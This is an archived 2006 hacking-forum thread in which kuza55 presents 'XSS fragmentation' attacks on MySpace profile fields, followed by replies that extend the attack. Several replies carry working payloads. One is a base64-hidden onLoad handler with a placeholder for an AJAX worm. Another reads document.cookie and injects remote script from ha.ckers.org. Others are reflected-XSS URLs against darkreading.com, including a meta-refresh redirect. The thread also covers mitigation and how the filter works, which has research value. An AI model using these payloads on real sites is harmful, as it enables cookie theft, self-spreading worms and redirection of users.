

XSS Fragmentation Attacks + MySpace 0day

XSS Fragmentation Attacks + MySpace 0day - kuza55, sla.ckers.org.

- Published: date not stated
- Original: <<http://sla.ckers.org/forum/read.php?13,2033>>
- Preserved from: <http://sla.ckers.org/forum/read.php?13,2033> (stored) on 2026-08-16
- Capture timestamp: 20120605165348
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

XSS Fragmentation Attacks + MySpace 0day

[[image: Cenzic 232 Patent]](<http://bit.ly/vEaqkw>) Paid Advertising

sla.ckers.org is [ha.ckers](#) sla.cking

[[image: Sla.ckers.org]](<http://sla.ckers.org/forum/index.php>)

If you have some interesting news or want to throw up a link to discuss it, here's the place. Anything is okay, even shameless vendor launches (since that is often applicable to what we work on).

XSS Fragmentation Attacks + MySpace 0day

Posted by: * [kuza55](#) *

Date: October 22, 2006 02:44AM

I wasn't sure which forums I should post this in, so i just stuck it here, if its in the wrong place, please move it, thanks.

Well, I've written an article on XSS fragmentation attacks which you can find here: [[kuza55.blogspot.com](#)]

If you like the article you can digg it here: [www.digg.com]

Keep in mind that the actual MySpace hole could be fixed at any time, it is merely included here to illustrate that this is more than just an theoretical idea with no applications.

Anyway here's a copy of the article:

Quote

===== Fragmentation Is Not Just For The Network XSS Fragmentation Attacks 18/10/06 by kuza55 =====

Contents:

1.0 Introduction to Fragmentation Attacks 2.0 XSS Fragmentation Attacks 3.0 MySpace 0day! 4.0 Mitigation 5.0 Final Notes

===== 1.0 Introduction to Fragmentation Attacks

===== At the simplest level, fragmentation attacks are possible when several fragments, which are by themselves not a security risk and can therefore be allowed to pass through a filter or firewall, but when the fragments reach their destination the fragments are combined and produce something dangerous.

Fragmentation attacks are usually seen in relation to the network/session layer where firewalls and IDSs try to filter packets on how dangerous they are deemed to be, they are also used to sometimes fool those same devices which try to rearrange the packets themselves and read the streams, but that is not what this article is about, this article is specifically about attacks where the whole document is not reassembled and checked.

===== 2.0 XSS Fragmentation Attacks =====

XSS Fragmentation attacks are generally quite rare because they require either multiple sets of input being displayed on the same page which have all gone through the same (or at least a similar) XSS filter and are not tidied up.

Another requirement that must be placed on the XSS filter is that it must be completely dumb in the sense that it simply strips away < and > characters, or it is stateful, and allows certain strings in places where it would not allow them, e.g.

```
<body onload="alert('XSS');">
```

would not be allowed, but

```
onload="alert('XSS');"
```

would be.

The idea behind XSS fragmentation attacks is to have your normally non-dangerous code (e.g. onload="alert('XSS');") placed in a dangerous position.

The simplest place to get your code placed is inside another tag and that is the example I'll go with now.

===== 3.0 MySpace 0day! ===== The example I'll be using is a MySpace 0day I discovered. First of all I'll give a quick explanation of the system MySpace has. You are not just given a single field to enter your profile into, you are given several fields about yourself, who you'd like to meet, your interests, etc.

Anyway, the sections we will be attacking are the most closely placed sections on the page, the interests sections (more specifically the Music and Film ones), normally your resulting code looks like this:

Quote

```
<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">Music</td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">Films</td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td></tr>
```

The only things separating our 2 fields was this small block of code:

Quote

```
</td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">Films</td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
```

Now what interesting things can we see about that code, well we can see that there are no single quotes there at all, and the only quotes used are double quotes.

So of course we can do something to encapsulate the text in between like so:

Quote

```
<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">Music</td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"><body test='</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">Films</td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">>Films Go Here!</td></tr>
```

and as you can see we have included all that text in between in the test parameter for the body tag we've introduced! And as you can also see we have the ability to write things into our tag in the second input field and it will be automatically place din a dangerous position! So if we make our Films field look like so:

```
' onLoad="alert('XSS');"></body>
```

then we have XSS.

This is exactly the attack used on MySpace, and should work on many other sites where input is not cleaned up and dangling tags are allowed to be posted.

Maybe on some sites which allow user comments on articles, etc are vulnerable?

===== 4.0 Mitigation ===== The root of this problem is that sections are filtered separately, but that problem is one that is probably too time-consuming to bother with as fixing another requirement needed for the attack to work is much easier to fix.

The easiest fix is to use something many filtering systems already do for other reasons: disallow incomplete/unclosed tags. At the moment I see no way of being able to exploit the above idea if the filtering engine does not allow either unfinished tags (like in the example above) or unclosed tags (e.g. <style> tags).

===== 5.0 Final Notes ===== Well, what can I say, this is probably a corner case of XSS filter evasion, but it is a corner case that could possibly be applied to many situations since we seem to be able to post html comments in many places these days. I also hope it helps illustrate how security mechanisms such as XSS filters cannot be used as simple drop in modules, but have to be integrated into your design for them to work effectively.

Sadly/Luckily (depending on your viewpoint) many filters such as the ones employed by Wordpress and Blogger force you to have 'neat' HTML so this attack is impossible on those 2 cases.

Please tell me what you think....

Edited 1 time(s). Last edit at 10/22/2006 02:44AM by kuza55.

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [Kyran](#) *

Date: October 22, 2006 03:08AM

Excellent article. I never thought about this as an attack vector before!

- [Kyran](#)

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [WhiteAcid](#) *

Date: October 22, 2006 06:36AM

Good stuff.

Don't forget our IRC: irc://irc.irchighway.net/#slackers -[WhiteAcid](#) - your friendly, very lazy, web developer

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [maluc](#) *

Date: October 22, 2006 09:23AM

indeed, a very interesting attack scenario.. good job ^^

-maluc

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [rsnake](#) *

Date: October 22, 2006 11:02AM

Very clever. I've seen this a few times in the wild. It's nice to see a good writeup on it though!

- RSnake

Gotta love it. <http://ha.ckers.org>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [Kyran](#) *

Date: October 22, 2006 01:40PM

Yeah it was definitely clever. A good example of why one should not use contextual blacklisting. Much better idea to use custom BBCode-like functions to let people use html while blacklisting all normal html. (while this doesn't prevent XSS in itself, it prevents this sort of an attack)

- [Kyran](#)

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [lpilorz](#) *

Date: October 22, 2006 02:14PM

I tried something similar some time ago, but didn't get a working real-world example yet. Thanks, kuza55!

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [Disciple](#) *

Date: October 22, 2006 03:09PM

Wow.. nice find.

btw, you can make use of some of the functions that myspace uses in their predefined javascripts..

for example: `executeSearch('anythinghere');`

Edited 1 time(s). Last edit at 10/22/2006 08:56PM by Disciple.

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [Spikeman](#) *

Date: October 22, 2006 11:45PM

Here's a way to use a script with filtered functions and make it unnoticable:

Put the following at tge ebd of your music section:

```
<body xss='
```

Then this at the beginning of your movies section:

```
' onLoad="if(location.href.indexOf('xss')==1)document.write('lol i pwn
myspace'+decode64('BASE64HERE!'))"></body> </td></tr><tr id=MoviesRow><td valign="top"
align="left" width="100">Movies</td><td id="ProfileMovies" width="175" style="WORD-WRAP:
break-word">
```

For the BASE64HERE! string encode something like this in Base64:

```
<script>//ajax worm goes here!</script><iframe src="http://myspace.com/yourprofile?xss"
style="width:100%;height:100%;position:absolute;top:0;left:0;border:0;z-index:100;"></iframe>
```

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [rsnake](#) *

Date: October 23, 2006 11:22AM

Nicely done. Yet another reason not to use Myspace. Ugh!

- RSnake

Gotta love it. <http://ha.ckers.org>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [WhiteAcid](#) *

Date: October 23, 2006 01:05PM

You were looking for reasons to not use it?

Don't forget our IRC: irc://irc.irchighway.net/#slackers -[WhiteAcid](#) - your friendly, very lazy, web developer

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [rsnake](#) *

Date: October 23, 2006 02:04PM

No, but I happen to collect reasons why data mining companies shouldn't be trusted. Some people collect baseball cards, I collect security information on evil companies. It's my thing.

- RSnake

Gotta love it. <http://ha.ckers.org>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [drew](#) *

Date: October 23, 2006 11:19PM

It still works: <http://www.myspace.com/drewtesturl>

Nice find. :)

One day there will be something here... <http://int2e.com>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [rsnake](#) *

Date: October 24, 2006 04:16PM

Article on the topic: http://www.darkreading.com/document.asp?doc_id=108161&f_src=darkreading_section_296

- RSnake

Gotta love it. <http://ha.ckers.org>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [fogez](#) *

Date: October 25, 2006 10:27AM

Hmmm. Ironically, Darkreading is kinda vulnerable to the same thing...

The second field closes out the first fields iframe. The second iframe then messes up the page. Granted, one could just use the section_type field to do straight up XSS, but I was curious to see if fragmentation would work there...

[http://www.darkreading.com/search.asp?search_type=content&search_request=yes&search_value=%3Ciframe+src%3Dhttp%3A%2F%2Fsla.ckers.org+&start_date=&end_date=\\$ion_type=></iframe>News+Analysis&taxonomy=livedefault&topics=livedefault&doc_author=livedefault&action=Search](http://www.darkreading.com/search.asp?search_type=content&search_request=yes&search_value=%3Ciframe+src%3Dhttp%3A%2F%2Fsla.ckers.org+&start_date=&end_date=$ion_type=></iframe>News+Analysis&taxonomy=livedefault&topics=livedefault&doc_author=livedefault&action=Search)

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [rsnake](#) *

Date: October 25, 2006 01:35PM

Nice find! And to make it a little better/run JS: [http://www.darkreading.com/search.asp?search_type=content&search_request=yes&search_value=%3Ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org/scriptlet.html?](http://www.darkreading.com/search.asp?search_type=content&search_request=yes&search_value=%3Ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org/scriptlet.html?&start_date=&end_date=$ion_type=%3E%3C/iframe%3ENews+Analysis&taxonomy=livedefault&topics=livedefault&doc_author=livedefault&action=Search)

- RSnake

Gotta love it. <http://ha.ckers.org>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [fogez](#) *

Date: October 25, 2006 02:13PM

Wow. I think darkreading lurks here...

It now filters out iframe :)

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [maluc](#) *

Date: October 25, 2006 03:40PM

to the darkreading admin who reads this.. you do a good job a addressing holes quickly, so guud job ^^

but addressed in the wrong way. rather than adding to a long blacklist of string names, currently including atleast iframe,alert,binding,fromCharCode,etc.. just encode the < to %lt; and > to %gt;. I see you already remove the " and turn ' to ", which is good.

with < and > available.. theres still plenty of ways to modify what the user sees. example:

[http://www.darkreading.com/search.asp?search_type=content&search_value=%3Cmeta+http-equiv%3Drefresh+content=0;URL%3Dhttp://maluc.sitesled.com/xss.html%3E+XSS+\\$ion_type=XSS&taxonomy=livedefault&topics=livedefault&doc_author=livedefault&action=Search](http://www.darkreading.com/search.asp?search_type=content&search_value=%3Cmeta+http-equiv%3Drefresh+content=0;URL%3Dhttp://maluc.sitesled.com/xss.html%3E+XSS+$ion_type=XSS&taxonomy=livedefault&topics=livedefault&doc_author=livedefault&action=Search)

-maluc

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [fogez](#) *

Date: October 25, 2006 04:05PM

Span, object, div are also still available. Wierdly, the admin does filter the '>' out, but only if you enter it directly in the form field or if the search is submitted via the original POST.

And I agree - excellent speed on the fix!

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [kuza55](#) *

Date: October 27, 2006 06:54PM

Well, even though MySpace implemented a 'fix' to this issue, its still very much epxloitable, I've posted details here: [\[kuza55.blogspot.com\]](http://kuza55.blogspot.com)

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [rsnake](#) *

Date: October 27, 2006 09:17PM

It would be really helpful to see a PoC... let me know if you can create one, I'll definitely post it on the blog. I think this is worth mentioning, especially if you can isolate what they've changed and why it didn't work. Nice work so far!

- RSnake

Gotta love it. <http://ha.ckers.org>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [kuza55](#) *

Date: October 27, 2006 10:51PM

Oh, a PoC is extremely easy to create, thats why I didn't think it would be useful posting one, anyway its just the earlier PoC with the single quotes changed to grave accents, as I said in the post, so here's a PoC:

```
<body test=`
```



```
`onLoad="alert('XSS');">
```

My observations of the changes made are that they simply check to see if there is a single quote in an input field, and if there is, then they filter things as if it were inside a tag.

Not knowing the internals of the filter my best guess as to what the programatic changes were would be that they use a regex to filter out event handlers (so anything of the form on*=) if its inside a tag. They now seem to use the same regex if a single quote is found in an input field.

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [rsnake](#) *

Date: October 27, 2006 11:23PM

So it only works in IE? Not that that's a big deal, really, given the penetration of that browser...

- RSnake

Gotta love it. <http://ha.ckers.org>

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [maluc](#) *

Date: October 27, 2006 11:31PM

ya.. to make a working example of what he said.. view this in IE

<http://www.myspace.com/malucracker>

the two injected pieces being:

```
<body test=`
```

```
&
```

```
`onload="alert('Your myspace cookies are \n'+document.cookie);x=document.createElement('scri'+ 'pt');  
x.src='http://ha.ckers.org/s.js';document.appendChild(x)">
```

-maluc

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [kuza55](#) *

Date: October 27, 2006 11:33PM

Yep, it only works in IE, and AFAIK only in IE 6 at that, but like you said considering the market share IE has, and more specifically the market share IE would have on a site like MySpace, it shouldn't really matter.

Even an exploit that only worked on Firefox would still be something you'd want to fix on your site, because 10% is still quite a large number of people.....

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [maluc](#) *

Date: October 27, 2006 11:45PM

and the filter it uses is in english:

if an input field contains: on*= (onload=, onmouseover=, etc) .. replace everything from the first ' or " to the on*= with: ..

so

```
asdf" asdflikeiw 'blah' weoe "banana" onload=weird
```

becomes

```
asdf..weird
```

same for

```
asdf' asdflikeiw 'blah' weoe "banana" onload=weird
```

-maluc

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [maluc](#) *

Date: October 27, 2006 11:46PM

it works in IE7 as well

-maluc

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [maluc](#) *

Date: October 27, 2006 11:56PM

and lol, with that realization .. style='blah' works fine.

But.. it filters "moz-binding" to ".." and "expression(" to ".." and "#" to "#"

so i can't think of any viable use for that

-maluc

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * [kuza55](#) *

Date: October 28, 2006 12:05AM

Ah, I thought that grave accents had been deprecated in IE7, thanks for clarifying that.

Mmm, I went through all the CSS attack vectors on the cheatsheet and the only one which they allowed through was behavior: which needs a locally hosted .htc file, and it has to be a .htc file, you can't use an image file or similar, so I'm not really anticipating anything further using XSS Fragmentation, even if they just do a dodgy fix where they filter out event handlers if you have a grave accent in an input field....

Re: XSS Fragmentation Attacks + MySpace 0day

Posted by: * *maluc* *

Date: October 28, 2006 12:11AM

but this sorta filter might cause some griefs to it's millions of users.. they should probably find a better way to filter it out..

For example, adding this to your page:

Quote

Michael's sister said that in hebrew, ani ohev ontach = i love you
becomes:

Quote

Michael.. i love you

..probably not what they intended to say -

-maluc

(it's actually 'otach' but thats the best i could come up with)

Sorry, only registered users may post in this forum.

[Click here to login](#)